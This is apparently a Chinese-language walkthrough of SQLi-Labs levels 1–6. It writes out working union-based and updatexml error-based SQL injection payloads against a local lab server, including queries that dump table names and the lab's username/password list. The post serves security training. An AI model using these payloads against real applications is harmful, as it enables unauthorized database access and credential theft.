前言

关于注释

说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格

MYSQL有三种常用注释:

--[空格]注释内容
#注释内容(url中使用23%)
/*注释内容*/

第一关

测试注入类型:

http://192.168.142.136/sqli/Less-1/?id=1'

报错:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

http://192.168.142.136/sqli/Less-1/?id=1 and 1=1

返回正常

http://192.168.142.136/sqli/Less-1/?id=1' and 1=1--+

返回正常

http://192.168.142.136/sqli/Less-1/?id=1' and 1=2--+

返回异常,综上,字符型注入

http://192.168.142.136/sqli/Less-1/?id=1' order by 3--+

查询到有3个字段

http://192.168.142.136/sqli/Less-1/?id=1' and 1=2 union select1,2,3--+

爆出显示位2,3

http://192.168.142.136/sqli/Less-1/?id=1' and 1=2 union select 1,concat(user(),database(),version()),3--+

http://192.168.142.136/sqli/Less-1/?id=1'and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+

http://192.168.142.136/sqli/Less-1/?id=1' and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 --+

得到数据库security的所有表名:emails,referers,uagents,users

192.168.142.136/sqli/Less-1/?id=1' and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3 --+

得到列名:id,username,password

192.168.142.136/sqli/Less-1/?id=1' and 1=2 union select 1,(select group_concat(username,password) from security.users),3 --+

得到:

DumbDumb,AngelinaI-kill-you,Dummyp@ssword,securecrappy,stupidstupidity,supermangenious,batmanmob!le,adminadmin,admin1admin1,admin2admin2,adm

第二关

数字型注入

1、http://192.168.142.136/sqli/Less-2/?id=2 order by 3
2、http://192.168.142.136/sqli/Less-2/?id=2 and 1=2 union select 1,2,3
···
和上面一题基本一样,没啥说的了

第三关

http://192.168.142.136/sqli/Less-3/?id=1'

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1
可以看到是有括号的,那么构造就是

1、http://192.168.142.136/sqli/Less-3/?id=1') order by 3%23
2、http://192.168.142.136/sqli/Less-3/?id=22') union select 1,2,3%23
3、http://192.168.142.136/sqli/Less-3/?id=22') union select 1,concat(database(),version(),user()),3%23
···
后面也没啥说的了,就和第一关一样操作下来

第四关

加单引号不报错,双引号报错:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"2"") LIMIT 0,1' at line 1

可以得到闭合方式为:("")

http://192.168.142.136/sqli/Less-4/?id=2") order by 3%23

和第三关差不多,不再赘述

第五关

这一关有些不同,没有显示位,没法使用联合注入去查询数据

加单引号报错信息为:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

那么通过报错注入

利用函数updatexml()函数

获取:user(),database(),version()

' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
得到:XPATH syntax error: '~root@localhost~'
同样的获取:database(),version()

现在来获取数据库库名:

' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)%23
得到:XPATH syntax error: '~information_schema~'

爆数据库表名:(可通过改变limit的参数一个个输出,或者使用:group_concat函数)

' and updatexml(1,concat(0x7e, (select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1)),1)%23
得到:XPATH syntax error: '~emails'

爆字段名:

' and updatexml(1,concat(0x7e, (select concat(column_name) from information_schema.columns where table_name='users' limit 0,1)),1)%23
得到:XPATH syntax error: '~id'

爆数据:

' and updatexml(1,concat(0x7e, (select concat_ws(':', username, password) from users limit 0,1)),1)%23

第六关

和第五关一样,不过是改了下闭合方式,加单引号不报错,加双引号报错

第七关

SQL注入系列:SQLi Labs的更多相关文章

  1. (其他)SQL注入(转)

    转自维基百科: SQL注入是一种代码注入技术,用于攻击数据驱动的应用程序,在这种应用程序中,恶意的SQL语句被插入输入字段中执行(例如将数据库内容转储给攻击者).[1] SQL注入必须利用应用程序软件 ...

  2. 依托http-headers的 sql注入和时间盲注

    机缘巧合接触了一点关于sql注入的网络安全问题 依托 headers 的 sql 注入 一般来说大家都很清楚用户输入的危险性,通常会对用户表单提交的数据进行过滤(引号转码). 但是如果写过网络爬虫,那 ...

  3. SQL注入是什么?如何防止?

    SQL注入是什么?如何防止? SQL注入是一种注入攻击,可以执行恶意SQL语句.下面本篇文章就来带大家了解一下SQL注入,简单介绍一下防止SQL注入攻击的方法,希望对大家有所帮助. 什么是SQL注入? ...

  4. DoraBox sql注入&文件上传

    SQL注入 1.sqli数字型 判断是否存在注入点,执行1 and 1=1,有回显判断存在注入点 判断字段数,执行1 order by 3以及执行1 order by 4时报错,判断字段数为3 判断具 ...

  5. Sqli labs系列-less-5&6 报错注入法(上)

    在我一系列常规的测试后发现,第五关和第六关,是属于报错注入的关卡,两关的区别是一个是单引号一个是双引号...当然我是看了源码的.... 基于报错注入的方法,我早就忘的差不多了,,,我记的我最后一次基于 ...

  6. Sqli labs系列-less-3 。。。

    原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...

  7. Sqli labs系列-less-2 详细篇

    就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...

  8. Sqli labs系列-less-1 详细篇

    要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...

  9. 【云盘资料】Sql注入从菜鸟到高手系列教程

    [云盘资料]Sql注入从菜鸟到高手系列教程 ps:Sql注入从菜鸟到高手系列教程 链接:阅读原文获取资料:http://bbs.ichunqiu.com/thread-6851-1-1.html 反馈 ...

随机推荐

  1. Linux 虚拟机通过NAT模式访问外网

    1.配置本地VM8地址   2.配置虚拟机NAT网卡:设置VM8网卡地址和Linux主机相同网段地址,网关随便设置   3.编译网卡文件 vim /etc/sysconfig/network-scri ...

  2. Ubuntu编译ruby

    要用sass,需要ruby2.0以上版本 ubuntu升级ruby到2.1 1.安装前更新: sudo apt-get -y update sudo apt-get install cmake sud ...

  3. android SlidingDrawer

    SlidingDrawer把内容从屏幕上隐藏,允许用户拖动把手将内容显示到屏幕.SlidingDrawer可用于垂直或水平.它由两个视图组成的:handle,让用户拖拉的;content,连在hand ...

  4. nginx的安装和负载均衡例子(RHEL/CentOS7.4)

    首先安装RHEL/CentOS7.4 mini ,然后关闭防火墙和 selinux ,更新系统(参看配置linux使用本地yum安装源和Redhat7/CentOS7 关闭防火墙和 selinux两个 ...

  5. build temu error about SDL

    1. 安装sdl2 sudo apt-get install libsdl2-dev 2. 将configure文件中与SDL有关的地方改成SDL2 if test -z "$sdl&quo ...

  6. 1.Jmeter 快速入门教程(一) - 认识jmeter和google插件

    Jmeter是免费开源的性能测试工具( 同时也可以用作功能测试,http协议debug工具 ).  在如今越来越注重知识产权的今天, 公司越来越不愿意冒着巨大的风险去使用盗版的商业性能测试工具. 但如 ...

  7. exsi 回收虚拟机磁盘

    用客户端登陆服务端,用下面命令停止虚拟机机器 esxcli vm process list    用如下命令关闭一台虚拟机: esxcli vm process kill --type=[soft,h ...

  8. 44.Linked List Cycle II(环的入口节点)

    Level:   Medium 题目描述: Given a linked list, return the node where the cycle begins. If there is no cy ...

  9. 十、hibernate的延迟加载和抓取策略

    延迟加载:控制sql语句发送时机 抓取策略:控制sql语句格式,子查询.连接查询.普通sql 延迟加载 延迟加载(lazy),也叫做懒加载:执行到该行代码时,不发送sql进行查询,只有在真正使用到这个 ...

  10. tomcat脚本

    !/bin/sh # eg: tomcat.sh start xxx # proc_dir="/usr/local/xxx/tomcat-zc-web/bin" proc_name ...